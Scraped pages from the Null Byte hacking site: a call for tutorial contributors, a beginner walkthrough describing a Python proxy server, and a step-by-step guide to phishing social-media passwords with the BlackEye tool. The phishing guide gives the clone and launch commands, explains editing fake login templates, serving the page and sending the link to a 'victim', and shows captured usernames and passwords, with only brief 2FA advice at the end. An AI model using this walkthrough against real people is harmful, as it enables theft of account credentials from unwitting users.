Pi:Hacking PlatformHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Hack WPA WiFi Passwords by Cracking the WPS PINThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Build a Pumpkin Pi β€” The Rogue AP & MITM Framework That Fits in Your PocketRaspberry Pi:Physical Backdoor Part 1How To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Wardrive with the Kali Raspberry Pi to Map Wi-Fi DevicesHow To:Create a Wireless Spy Camera Using a Raspberry PiHow To:Modify the USB Rubber Ducky with Custom Firmware
Weekend Homework: How to Become a Null Byte Contributor (3/2/2012) Β« Null Byte :: WonderHowTo
Last week, we had a great contribution fromChristopher Voute, who introduced us all on some of thebasic moves in Python. Now, who else will share their knowledge and tackle some of the topics below?If you know a thing or two, don't hesitate to teach us what you've got, because we're looking for Null Byters on a weekly basis who are willing to educate the community. Contributors will write tutorials, which will be featured on theNull Byte blog, and if they're good enough, then maybe even on the front page ofWonderHowTo.There is no need to be intimidated if you fear you lack the writing skills. I will edit your drafts if necessary and get them looking great! You don't need to be a college professor to share your hard earned knowledge with everyone!How Else Can I Help?It would be great to get to know the community better and hear your ideas on the future of Null Byte. I look forward to discussing information security with you on theforumsor in ourIRCchannel.If you have skills and want to share knowledge on any of the topics below, please leave a response in the comments with which topic you would like to write, ormessage meprivately. If you have any additional ideasat all, please submit them below.And one last thing, if you come across a great news article or some helpful links, please post them to ourCommunity Corkboardto share with the everyone!This Weeks HomeworkIntro to Code Injectionβ€” We get a lot of questions about just what makes a website vulnerable. An intro to injections with a few examples of recent attacks would be great!Intro to C++β€” We have a lot of good Python resources on Null Byte, but we could use some variety, as well! Do you have experience here?How to Automate Admin Tasksβ€” While a lot of the community is running Linux, not all of them understand the full power of the operating system. Write us a how-to explaining automating tasks.How to Get Arch Linux Runningβ€” We have more and more new users coming aboard and not all of them know about other flavors of Linux. I know we have some strong Arch users here, so come out and give us a hand.How to Use AirCrackβ€” Show the community how to use AirCrack and why they should be using it.Intro to Snortβ€” IDS are a scantly covered topic; teach us the ins and outs of getting it up and running.Networking Tutorialsβ€” We could use a few more solid articles and write-ups about networking. This is the system that runs the Internet and more people should understand just how it works.Help Out Wikileaks! β€” Dig through thejuicy Stratfor leaksand help us hunt out the good ones. Who knows what you will find as more are released each day!Setting Up APACHEβ€” Show the community how to set up an APACHE web server. Include set up and config for extra cake.Emergency Proxy Scriptβ€” Code us a script that fetches and configures the proper Tor and I2P packages to allow someone who has a need for a quick proxy, but does not have the knowledge.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byutneRelatedNews:And the Winner of the White Hat Award for Technical Excellence Is...Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)Weekend Homework:How to Become a Null Byte Contributor (3/16/2012)Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)Weekend Homework:How to Become a Null Byte ContributorWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (02/01 - 02/07)How To:Things to Do on WonderHowTo (02/22 - 02/28)How To:Things to Do on WonderHowTo (03/21 - 03/27)Null Byte:Never Let Us DieHow To:Things to Do on WonderHowTo (02/15 - 02/21)How To:Things to Do on WonderHowTo (01/25 - 01/31)Weekend Homework:How to Become a Null Byte Contributor (1/29/2012)Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (01/18 - 01/24)News:Null Byte Is Calling for Contributors!How Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (11/23 - 11/29)News:Hey, You! Astronomy World Is Looking for Contributors! Are You Up for the Task?How To:Things to Do on WonderHowTo (03/07 - 03/13)Farewell Byte:Goodbye Alex, Welcome AllenHow To:Things to Do on WonderHowTo (02/29 - 03/06)News:Ni No Kuni Coming To The US!News:A New Ink & Paint!How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorA Null Byte Call to Arms:Join the Fight Against IgnoranceNews:Null CommunityHow To:Things to Do on WonderHowTo (01/11 - 01/17)How To:Things to Do on WonderHowTo (01/04 - 01/10)How To:Things to Do on WonderHowTo (11/16 - 11/22)How To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Get Free Netflix for LifeSkyrim Hack:Get Whatever Items You Want By Hacking Your Game SaveHow To:Run a Virtual Computer Within Your Host OS with VirtualBoxHow To:Things to Do on WonderHowTo (03/14 - 03/20)How To:Get Unlimited Money in Skyrim by Hacking Your Game Saves
SPLOIT: How to Make a Proxy Server in Python Β« Null Byte :: WonderHowTo
NOTICE: Ciuffy will be answering questions related to my articles on my behalf as I am very busy. Hope You Have Fun !!!Hello Guys,Welcome to my tutorial and in this tutorial, We are basically going tocreate a python script that serves as a proxy server ( Without External Libraries ).I made this script when I had some knowledge of python sockets and also thought it was a cool thing to do. I want to share it with the community.Before I begin, I would first like to thank the members who gave me positive feedbacks on myHow To Make A Python ScannerArticle, I am very grateful for your appreciation.Also, Lets quickly talk aboutProxiesbefore we proceedany further to help others who might have heard or read the namesomewhere but don't have a slightest idea of what it means.INTRODUCTION INTO THE WORLD OF PROXIESFromWikiPedia - Proxy Server.In computer networks, A proxy server is a server ( A computer system oran application ) that acts as an intermediary for requests from clientsseeking resources from other servers. A client connects to the proxyserver, requesting some service, such as a file, connection, web page,or other resource available from a different server and the proxy serverevaluates the request as a way to simplify and control its complexity.Proxies were invented to add structure and encapsulation to distributedsystems. Today, most proxies are web proxies, facilitating access tocontent on the World Wide Web and providing anonymity.Lets see an illustration.What Bob thinks is the server ( i.e the proxy ) asked for the current time, But what Bob didn't know was, Alice asked for the current time but through the proxy server. The proxy server returns the current time to Alice. So we can basically say, Server Bob has been tricked. The proxy server acts as a man in the middle serving two people without revealing their identities to each other, Each person sees only the proxy but not the other end.While a proxy might seem straightforward to the typical end user, there are many variations of the simple proxy website. While you might want only you chat with Facebook friends while at work and need to hop online anonymously through a proxy, what's happening behind the scenes can be quite complex. While many proxies look similar on the user's end, they can be very different to the developers and programmers.Note: There Are Many And Countless Ways To Detect Proxy ClientsThere are many types of proxies of which I won't be listing. Here are the most basic and commonly used ones.TYPES OF PROXIESFromProxySitesand WikiPedia:PHP Proxy– A PHP proxy uses a script written in PHP to take webpages from your regular server and then processes your search request to protect your main server. A PHP proxy can be a form of CGI proxy or simply a bit of code to attach to the URL as you type it in. PHP proxies can also be used by site and program developers to help cloak their original server to increase the effectiveness of web applications.CGI Proxy– A CGI proxy allows you to search through the proxy site for the URL you'd like to reach. CGI proxies allow you to search anonymously by hiding your IP address behind the proxy site. Thanks to this simplicity and anonymousness, CGI proxies are the most common proxies for the typical internet user searching for a means to unblock a website or search anonymously.HTTP Proxy– The HTTP proxy works with web browsers (HTTP clients) and servers that support HTTP. The HTTP proxy caches pages, or store them, for faster retrieval and are used occasionally to increase metadata services available on the website.Gateway Proxy– A proxy that allows requests and information to travel through without modification is called a gateway, or gateway proxy. These can also be called tunneling proxies as they "tunnel" around blocks put into systems through filters. Tunneling proxies are used frequently in workplaces and educational offices where there are frequent blocks on material that employees or students wish to access.Content Filter– The filter that might be blocking the sites you wish to access is likely a form of a proxy as well. These specialized proxies called content filters require all requests to pass through for review. The content filter proxy then blocks requests that match requests on a "black list" or based on certain security settings. Depending on the complexity of the content filter, network administrators can add to or remove items from the black list.DNS Proxy- A DNS proxy server takes DNS queries from a ( Usually local ) networks and forwards them to an Internet Domain Name Server. It may also cache DNS records.Anonymous HTTPS proxy- Users wanting to bypass web filtering, that want to prevent anyone from monitoring what they are doing, will typically search the internet for an open and anonymous HTTPS transparent proxy. They will then program their browser to proxy all requests through the web filter to this anonymous proxy. Those requests will be encrypted with https. The web filter cannot distinguish these transactions from, say, a legitimate access to a financial website. Thus, content filters are only effective against unsophisticated users.Use of HTTPS proxies are detectable even without examining the encrypted data, based simply on firewall monitoring of addresses for frequency of use and bandwidth usage. If a massive amount of data is being directed through an address that is within an ISP address range such as Comcast, it is likely a home-operated proxy server. Either the single address or the entire ISP address range is then blocked at the firewall to prevent further connections.Suffix proxy- A suffix proxy allows a user to access web content by appending the name of the proxy server to the URL of the requested content. Suffix proxy servers are easier to use than regular proxy servers but they do not offer high levels of anonymity and their primary use is for bypassing web filters. However, this is rarely used due to more advanced web filters.TOR Proxy- Tor ( The Onion Router) is a system intended to enable online anonymity. Tor client software routes Internet traffic through a worldwide volunteer network of servers in order to conceal a user's location or usage from someone conducting network surveillance or traffic analysis. Using Tor makes it more difficult to trace Internet activity, including "visits to Web sites, online posts, instant messages and other communication forms", back to the user. It is intended to protect users' personal freedom, privacy, and ability to conduct confidential business by keeping their internet activities from being monitored."Onion routing" refers to the layered nature of the encryption service: The original data are encrypted and re-encrypted multiple times, then sent through successive Tor relays, each one of which decrypts a "layer" of encryption before passing the data on to the next relay and ultimately the destination. This reduces the possibility of the original data being unscrambled or understood in transit.I2P anonymous proxy- The I2P anonymous network ( I2P ) is a proxy network aiming at online anonymity. It implements garlic routing, which is an enhancement of Tor's onion routing. I2P is fully distributed and works by encrypting all communications in various layers and relaying them through a network of routers run by volunteers in various locations. By keeping the source of the information hidden, I2P offers censorship resistance. The goals of I2P are to protect users' personal freedom, privacy, and ability to conduct confidential business.Each user of I2P runs an I2P router on their computer (node). The I2P router takes care of finding other peers and building anonymizing tunnels through them. I2P provides proxies for all protocols (HTTP, IRC, SOCKS, ...).SOME USES OF PROXIESWe may all have our reasons for using proxies, But mostly, People use proxies for anonymous surfing, hacking D-Grade websites and playing other pranks on the web. Most common uses are as follows;Filtering of encrypted dataBypassing filters and censorshipLogging and eavesdroppingImproving performanceSecurityCross-domain resourcesTranslationAnonymousityOk, I think that is enough for a brief introduction.BUILDING OUR PROXY SCRIPTThe script is cross platform since the modules imported are cross-platform i.e available in both windows python and linux python.SCREENSHOT 1: IMPORTING MODULESimport socket, sys- Import thesocketmodule, Import thesysmodule. ( We can import as many modules as we want so far as we put a comma in between them )from thread import *- From thethreadmodule, Import everything ( functions )SCREENSHOT 2: DECLARING PROGRAM SETTINGSlistening_port- We ask the user for a listening port using theraw_inputfunction, After we assign the input to the listening_port variable.max_conn- We limit the amount of connections to our proxy server.buffer_size- Maximum socket buffer size ( Recommended: 4096 )Except KeyboardInterruptThis handles keyboard interrupts ( Ctrl + C ) should the user want to close the script for whatever purposes. This prevents python from stopping our program execution and spilling its Keyboard Interrupt exception code to the screen. ( Kind-off seems unprofessional ). Like this ..Image viawonderhowto.comLet's see what our program does when a user hits the interrupt command.Nicely done !!!SCREENSHOT 3: INITIATING THE PROGRAMWe are going to enclose all our codes in functions and later call them during our usage.We are going to use three functions in the script.Function 1: start()- Main ProgramFunction 2: conn_string()- Retrieve Connection DetailsFunction 3: proxy_server()- Make connection to end serverSCREENSHOT 4: Function: start()What this function does is to1. Set up the socket2. Bind the sockets3. Start listening for incoming connectionsWhen and error occurs, Print the custom message and exit the script4. When a connection arrives from the client, accept it, receive the clients data ( Browser request ) and start a thread. The thread in-turns calls another functionconn_stringand pass three arguements:conn( Connection Stream )data- clients data ( Browser request )address- ( Address from the connection )When a user interrupts the program, the server connection stream closes, prints the custom message and exits the proxy script.SCREENSHOT 5: Function: conn_string()Arguements: conn, data, addrThis is an example of a client browser request ( The connection is to Null Byte ).What this functionconn_stringbasically does is to retrieve the host address, port (if specified by client) in the received client data, call another functionproxy_serverand pass five arguements to it.webserver- host addressport- webserver portconn- connection streamaddr- address from connection stream.data- client browser dataSCREENSHOT 6: Function: proxy_server()Arguements: webserver, port, conn, data, addrNOTE: An error I made. Thes.connectfunction in the fourth line in the image below should have the variablewebserverinstead ofhost. Failure to change will deny the user of relaying the information to the internet.This function creates a new socket, connects to the webserver and sends the clients request, receives the reply, forwards it back to the client without modifying it, prints a custom success message and closes the streams.SCREENSHOT 5: FINAL WORKLet's make the magic work ... We simply typestart()on a last line of the script.What this does is to start the main program .... We now have a working python script .....Not soooo fast ??? We haven't tested it. ( A connection to google )To use the script, Simply set your browser proxy to 127.0.0.1 and desired port, Make sure your script is running on that port ( Mine is on port 8001 )Test Run.Ahh !! :) ......... Successfully working.CONCLUSIONI hope we had fun and learnt something today. This script can be hosted online ( maybe on a vps ) to serve as a proxy and receive requests from clients. We can also make logs from the script right after sending the reply back to the client.Notify me of any errors, misinformation or anything that needs correction. Hope to see you soon and Have a nice day !!!# SergeantWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Reality of VPNs, Proxies, and TorHow To:Hide Your IP Address with a Proxy ServerHow To:Use a proxy with Firefox to hide your IP addressHow to Hack Wi-Fi:Evading an Authentication Proxy Using ICMPTXHow To:Use variables and strings when programming in Python 2How To:Facebook Credentials RevisitedSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)How To:Make a Change-of-IP Notifier in PythonHow To:Make a Gmail Notifier in PythonHow To:Code a Basic TCP/IP Client & Server Duo in PythonWeekend Homework:How to Become a Null Byte ContributorNews:Null Byte Is Calling for Contributors!Weekend Homework:How to Become a Null Byte Contributor (1/29/2012)Community Byte:Coding a Web-Based Password Cracker in PythonNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Sneak Past Web Filters and Proxy Blockers with Google TranslateHow To:Push and Pull Remote Files Securely Over SSH with PipesWeekend Homework:How to Become a Null Byte Contributor (1/12/2012)Goodnight Byte:Coding an IRC Bot in Python (For Beginners)Community Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking Simulations
How to Phish for Social Media & Other Account Passwords with BlackEye Β« Null Byte :: WonderHowTo
Social media accounts are a favorite target for hackers, and the most effective tactics for attacking accounts on websites likeFacebook,Instagram, andTwitterare often based on phishing. These password-stealing attacks rely on tricking users into entering their passwords into a convincing fake webpage, and they have become increasingly easy to make thanks to tools like BlackEye.BlackEye is a tool to rapidly generate phishing pages that target social media websites, making it much easier to phish targets of opportunity on the same network. After redirecting a target to the phishing page, it's easy to capture passwords to social media accounts harvested from unwitting targets.BlackEye for Social Media PhishingUsers place a lot of trust in their social media accounts. If the target doesn't have 2FA enabled, the ease with which an attacker can access them may be surprising. A single mistake typing a password into the wrong website can be all it takes to lose access to your account. BlackEye is a proof of concept that shows how these phishing pages don't need to be sophisticated or customized to work effectively.Don't Miss:Track a Target Using Canary Token Tracking LinksBlackEye is a straightforward bash script that presents several templates to pick from, allowing you to select which social media website to emulate. From there, it creates a functional phishing site on your device, with the ability to be port forwarded or connected in other ways to your target's machine.Supported Social Media SitesBlackEye supports 32 different websites with phishing templates, but these range in quality. It's best to test them out before deploying them because some suffer from flaws that could give them away if a user is paying attention. While the default phishing pages provided with BlackEye are pretty good, it's always useful to be able to modify them. That way, you can remove things like a copyright notice from the wrong year.Among the more interesting websites that BlackEye supports are Protonmail, Github, Gitlab, Adobe, Verizon, Twitter, Facebook, Shopify, PayPal, and Google. You can test these quickly by following the steps below and clicking on the phishing URL to find out how realistic each template looks before using it.What You'll NeedBlackEye is an extremely straightforward tool but works best on Kali Linux. That's because of the number of dependencies it relies on to run, but these can be installed as needed on Ubuntu or Debian devices. Once you have a Kali distro fully updated, you should be ready to install BlackEye.Don't Miss:Research a Person or Organization Using the Operative FrameworkStep 1: Download & Test BlackEyeFirst, we'll need to clone the source fromBlackEye's GitHub repository. To do that, open a new terminal window and type the followinggitandcdcommands.Note:we used theoriginal BlackEye tool built by thelinuxchoicein this tutorial, but it has since been taken down from GitHub. You can useAn0nUD4Y's version, which builds upon thelinuxchoice's original. Instructions below have been updated to use this tool instead.~$ git clone https://github.com/An0nUD4Y/blackeye Cloning into 'blackeye'... remote: Enumerating objects: 361, done. remote: Total 361 (delta 0), reused 0 (delta 0), pack-reused 361 Receiving objects: 100% (361/361), 8.01 MiB | 3.17 MiB/s, done. Resolving deltas: 100% (101/101), done. ~$ cd blackeye ~/blackeye$That should install the BlackEye repository and enable it to run it from the blackeye folder with thebash blackeye.shcommand. When we run the command, we should see the splash screen below.~/blackeye$ bash blackeye.sh :: Disclaimer: Developers assume no liability and are not :: :: responsible for any misuse or damage caused by BlackEye. :: :: Only use for educational purporses!! :: :: Attacking targets without mutual consent is illegal! :: [01] Instagram [17] IGFollowers [33] Custom BLACKEYE v1.1 [02] Facebook [18] eBay β–’β–’β–’β–’β–’β–’β–’β–’β–„β–„β–„β–„β–„β–„β–„β–„β–’β–’β–’β–’β–’β–’ [03] Snapchat [19] Pinterest β–’β–’β–ˆβ–’β–’β–’β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–’β–’β–’β–’ [04] Twitter [20] CryptoCurrency β–’β–ˆβ–β–’β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’β–’ [05] Github [21] Verizon β–’β–Œβ–β–’β–’β–ˆβ–ˆβ–„β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–„β–ˆβ–ˆβ–’β–’β–’ [06] Google [22] DropBox β–β”Όβ–β–’β–’β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆβ–’β–’β–’ [07] Spotify [23] Adobe ID β–β”Όβ–β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’ [08] Netflix [24] Shopify β–β–„β–β–ˆβ–ˆβ–ˆβ–ˆβ”€β–€β–β–β–€β–ˆβ”€β–ˆβ”€β–Œβ–β–ˆβ–ˆβ–„β–’ [09] PayPal [25] Messenger β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–β–ˆβ–ˆβ–ˆβ–Œ [10] Origin [26] GitLab β–’β–’β–ˆβ–€β–€β–ˆβ–ˆβ–„β–ˆβ”€β–„β”€β”€β”€β–β”€β–„β–ˆβ–ˆβ–ˆβ–€β–’ [11] Steam [27] Twitch β–’β–’β–ˆβ–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’ [12] Yahoo [28] MySpace β–’β–’β–’β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’ [13] Linkedin [29] Badoo β–’β–’β–’β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–β–Œβ–ˆβ–ˆβ–Œβ–’β–’β–’ [14] Protonmail [30] VK β–’β–’β–’β–’β–’β–β–€β–β–’β–Œβ–€β–ˆβ–€β–’β–β–’β–ˆβ–’β–’β–’β–’β–’ [15] Wordpress [31] Yandex β–’β–’β–’β–’β–’β–’β–’β–’β–’β–’β–’β–β–’β–’β–’β–’β–Œβ–’β–’β–’β–’β–’ [16] Microsoft [32] devianART CODED BY: @thelinuxchoice UPGRADED BY: @suljot_gjokaStep 2: Adjust Phishing WebsitesIf we don't like something like an expired copyright notice, we can change it pretty easily. First, exit out of the bash script back into the blackeye folder. Then, we'll typelsto see thesitesfolder within the BlackEye repo.~/blackeye$ ls blackeye.sh LICENSE README.md sitesWe can navigate to it using thecd sitescommand. Then, typelsto see all of the phishing site templates available to modify.~/blackeye$ cd sites ~/blackeye/sites$ ls adobe cryptocurrency facebook google linkedin myspace paypal shopify spotify twitter wordpress badoo devianart github instafollowers messenger netflix pinterest shopping steam verizon yahoo create dropbox gitlab instagram microsoft origin protonmail snapchat twitch vk yandexTo edit Protonmail, we can typecd protonmailand thenlsagain to see the files in that folder. You should see something like the files below.~/blackeye/sites$ cd protonmail ~/blackeye/sites/protonmail$ ls index_files index.php ip.php ip.txt login.html login.php saved.ip.txt saved.usernames.txtTo edit the HTML of the phishing page, you can do so directly by openinglogin.htmlwith a text editor, allowing you to easily update any copyright notices or other details.Step 3: Serve Up the Phishing PageTo start our phishing page, open a terminal window and navigate to the blackeye folder again. Then, run thebash blackeye.shcommand to get back to the phishing page selection menu. Here, we'll select eBay, which is number 18.~/blackeye/sites/protonmail$ cd ~$ cd blackeye ~/blackeye$ bash blackeye.sh [01] Instagram [17] IGFollowers [33] Custom BLACKEYE v1.1 [02] Facebook [18] eBay β–’β–’β–’β–’β–’β–’β–’β–’β–„β–„β–„β–„β–„β–„β–„β–„β–’β–’β–’β–’β–’β–’ [03] Snapchat [19] Pinterest β–’β–’β–ˆβ–’β–’β–’β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–’β–’β–’β–’ [04] Twitter [20] CryptoCurrency β–’β–ˆβ–β–’β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’β–’ [05] Github [21] Verizon β–’β–Œβ–β–’β–’β–ˆβ–ˆβ–„β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–„β–ˆβ–ˆβ–’β–’β–’ [06] Google [22] DropBox β–β”Όβ–β–’β–’β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆβ–’β–’β–’ [07] Spotify [23] Adobe ID β–β”Όβ–β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’ [08] Netflix [24] Shopify β–β–„β–β–ˆβ–ˆβ–ˆβ–ˆβ”€β–€β–β–β–€β–ˆβ”€β–ˆβ”€β–Œβ–β–ˆβ–ˆβ–„β–’ [09] PayPal [25] Messenger β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–β–ˆβ–ˆβ–ˆβ–Œ [10] Origin [26] GitLab β–’β–’β–ˆβ–€β–€β–ˆβ–ˆβ–„β–ˆβ”€β–„β”€β”€β”€β–β”€β–„β–ˆβ–ˆβ–ˆβ–€β–’ [11] Steam [27] Twitch β–’β–’β–ˆβ–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’ [12] Yahoo [28] MySpace β–’β–’β–’β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’ [13] Linkedin [29] Badoo β–’β–’β–’β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–β–Œβ–ˆβ–ˆβ–Œβ–’β–’β–’ [14] Protonmail [30] VK β–’β–’β–’β–’β–’β–β–€β–β–’β–Œβ–€β–ˆβ–€β–’β–β–’β–ˆβ–’β–’β–’β–’β–’ [15] Wordpress [31] Yandex β–’β–’β–’β–’β–’β–’β–’β–’β–’β–’β–’β–β–’β–’β–’β–’β–Œβ–’β–’β–’β–’β–’ [16] Microsoft [32] devianART CODED BY: @thelinuxchoice UPGRADED BY: @suljot_gjoka [*] Choose an option: 18After entering the number of the site you wish to create, pressenter. Next, we'll be asked to supply our IP address. If you press enter without adding one, it will try to add yours by default, but it doesn't always work. After supplying your IP address, you should see something like the prompt below.[*] Put your local IP (Default 10.0.6.27): [*] Starting php server... [*] Send this link to the Victim: 192.168.0.16 [*] Waiting victim open the link ...Next, navigate to the phishing link in a browser to see the result of your phishing site.Step 4: Capture a PasswordWhen you open the site in a browser, it should look something like this:Opening the link causes the script to report back on the type of devices currently accessing the phishing page.[*] Waiting victim open the link ... [*] IP Found! [*] Victim IP: 192.168.43.142 [*] User-Agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 [*] Saved: shopping/saved.ip.txtOnce the target enters their credentials, they're redirected to the real eBay page, creating the illusion of a successful login.On the hacker's side, BlackEye provides us with the credentials our target just entered.[*] Waiting credentials ... [*] Credentials Found! [*] Account: fudruckers [*] Password: thefudruckerking69 [*] Saved: sites/shopping/saved.usernames.txtJust like that, we've intercepted and saved the credentials a target entered into our phishing page!Phishing Social Media Sites Is Fast & EasyWhen it comes to stopping attacks like this, two-factor authentication is the average user's best friend. Without it, a single mistake can lead to your password being stolen and used to access your account by an attacker. So set up 2FA onFacebook,Instagram, andwhatever other accountsyou have.Another step towards improving security is to use ahardware security keyto require new devices to use your key to log in, rendering stolen passwords and even intercepted text messages useless. Keep in mind that while BlackEye makes phishing easy, it doesn't make it legal to steal passwords for accounts that you don't have permission to access.I hope you enjoyed this guide to phishing social media passwords! If you have any questions about this tutorial on social media phishing tools please ask below, and if you have a comment or idea for a future episode, feel free to reach me on Twitter@KodyKinzie.Don't Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:This LastPass Phishing Hack Can Steal All Your Passwordsβ€”Here's How to Prevent ItHack Like a Pro:The Ultimate Social Engineering HackHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHow To:Lock Down Your Social Media Accounts with These 7 Useful Security TipsHow To:Phish Social Media Sites with SocialFishNews:'Impossible to Identify' Website Phishing Attack Leaves Chrome & Firefox Users Vulnerable (But You Can Prevent It)How To:Use Google's Advanced Protection Program to Secure Your Account from PhishingHow To:Become Anonymous & Browse the Internet SafelyHow To:Post to Multiple Social Networks at the Same Time on AndroidHow To:Protect Others from Accessing Saved Password on Google ChromeVSCO 101:How to Publish Photos to All Your Social Media AccountsHow To:Add More Context to Selfies Using Both Front & Rear Cameras on Your Galaxy S3How To:Hack a Skype PasswordHow To:Create a Hootsuite Mac App to Manage All Your Social Media Accounts from Your DesktopHow To:Secure Your Instagram Account by Adding 2-Factor Authentication & Managing Privacy SettingsHow To:Use Social Engineering to Hack ComputersHow To:Twitter's Massive Security Flaw Makes Your Password Easy to HackSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitHow To:Edit Your Google+ Account SettingsNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHow To:Create Strong, Safe PasswordsNews:Linking His Twitter Account to His Facebook AccountMastering Security, Part 1:How to Manage and Create Strong PasswordsNews:Delitos informaticos. Phishing, en 3 minutos.How To:Use Social Bookmarking Sites For Effective SEORemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetHow To:Really Connect Your Words with Friends Mobile Account to FacebookNews:No One Actually Asks for a Weekly DigestHow To:Remove a Windows Password with a Linux Live CDNews:PopCap Bought by EA, Earns $750 Million Bonus PointsNews:Should Google+ Require You to Use Your Real Name?News:Are you Using the Power of Social Media
How to Hack Wi-Fi: Hunting Down & Cracking WEP Networks Β« Null Byte :: WonderHowTo
